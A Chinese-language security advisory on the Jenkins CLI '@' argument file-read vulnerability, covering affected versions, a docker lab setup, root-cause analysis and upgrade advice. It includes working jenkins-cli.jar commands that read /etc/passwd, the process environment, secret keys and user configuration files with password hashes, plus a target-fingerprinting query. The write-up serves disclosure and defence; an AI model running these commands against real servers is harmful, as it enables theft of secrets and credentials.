发布时间:2024-04-26
浏览次数:871
Jenkins是一个开源的自动化服务器,近期发现了一个关于它的高危漏洞。这个漏洞的根源在于Jenkins服务端在参数解析时采用了第三方库args4j,args4j支持一种特殊功能,即允许以@开头的参数作为文件名,进而读取文件内容作为命令参数。然而,这种解析过程在服务端完成,而非在客户端的jenkins-cli.jar中完成,这种设计上的选择使得恶意用户有机会利用这一特性,通过构造特定的命令行参数来读取服务器上的敏感文件,从而引发了严重的安全问题。
Jenkins<=2.441
Jenkins LTS<=2.426.2
直接使用docker环境搭建即可
docker pull bitnami/jenkins:2.426.2-debian-11-r3
dockerrun -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005" -d --name jenkins -p 8080:8080 -p 8777:5005 bitnami/jenkins:2.426.2-debian-11-r3
管理员账号密码为:user/bitnami
"Jenkins" && title=="Dashboard [Jenkins]"
此漏洞需要使用到jenkins-cli.jar。读者可以从任意Jenkins网页地址下载:http://jenkins:8080//jnlpJars/jenkins-cli.jar
大部分的命令无法调用,只有help和who-am-i命令可以被调用,且只能读取到目标文件的前几行
这个功能在后台的“Manage Jenkins” -> “Security” 中管理员可以将其开启或关闭,默认是关闭的。实际测试中,如果我们访问Jenkins首页,发现强制跳转到登录页面,就说明关闭了“允许匿名用户读取”功能。
使用help命令可以查看主机/etc/passwd文件的前2行
java -jar jenkins-cli.jar -s http://target-ip:8080/ help "@/etc/passwd"
此命令可以检测系统是否存在该漏洞。
使用以下命令可以读取目标服务器的/proc/self/environ文件,找到Jenkins的基础目录
java -jar jenkins-cli.jar -s http://target-ip:8080/ -http help 1 "@/proc/self/environ"
发现JENKINS_HOME=/bitnami/jenkins/home,然后,可在该目录下读取敏感文件,如secrets.key or master.key(匿名情况下,只能通过命令行的报错读取文件的第一行):
java -jar jenkins-cli.jar -s http://target-ip:8080/ -http help 1 "@/bitnami/jenkins/home/secret.key"
除此之外,当Jenkins关闭了“允许匿名用户读取”功能时,其他大部分命令无法调用,会出现"ERROR: anonymous is missing the Overall/Read permission"的错误:
大部分命令都可以被调用,其中包括connect-node命令和reload-job命令,这2个命令可以用来读取文件全部内容
java -jar jenkins-cli.jar -s http://target-ip:8080/ -http connect-node "@/etc/passwd"
利用Jenkins的根目录/bitnami/jenkins/home,我们就可以来尝试读取以下敏感文件。
java -jar jenkins-cli.jar -s http://target-ip:8080/ -http connect-node "@/bitnami/jenkins/home/users/users.xml"
可以获取用户列表和每个用户信息所在的文件目录。
发现用户用户user所在目录user_5849473456249988042,可以读取这个目录下的config文件:/bitnami/jenkins/home/users/user_5849473456249988042/config.xml
java -jar jenkins-cli.jar -s http://target-ip:8080/ -http connect-node "@/bitnami/jenkins/home/users/user_5849473456249988042/config.xml"
可以发现用户的用户密码,使用JBCript哈希编码,
对于bcrypt算法加密的hash值,一般只能暴力破解来获取明文。
漏洞分析
根据官方描述,问题出在args4j 库的expandAtFiles,因此在对应方法上直接下断点。根据调用堆栈,分析执行流程。
在利用args4j库进行参数解析的过程中,expandAtFiles方法扮演了关键角色,当文件内容不符合预期的参数格式时,该方法会触发异常返回,这影响了不同命令执行后返回结果的长度。深入分析其调用堆栈和执行流程,发现在权限校验环节存在潜在的漏洞。当攻击者拥有特定权限(如Overall/Read权限)时,他们可以利用这个漏洞,通过精心构造的输入来影响expandAtFiles方法的执行,从而读取原本不应被访问的文件内容。同时这个漏洞可能影响到诸如help命令等功能的正常运行,因为它们依赖于getAtSyntax属性来解析参数。当攻击者输入以@开头的参数时,如果这些参数被错误地解析或利用,就可能导致敏感文件内容的泄露。
在新版本中,jenkins默认关闭了ALLOW_AT_SYNTAX参数。
临时缓解方案
访问控制:加强服务器和应用的访问控制,仅允许可信IP进行访问。另外如非必要,不要将该系统开放在互联网上。
临时禁用CLI访问:暂时禁用CLI访问,直到部署更新。
升级修复方案
Jenkins 2.442,LTS 2.426.3已禁用相关命令解析器特性,建议更新至这些版本以解决漏洞。
Copyright 润成安全
022-83698697
微信二维码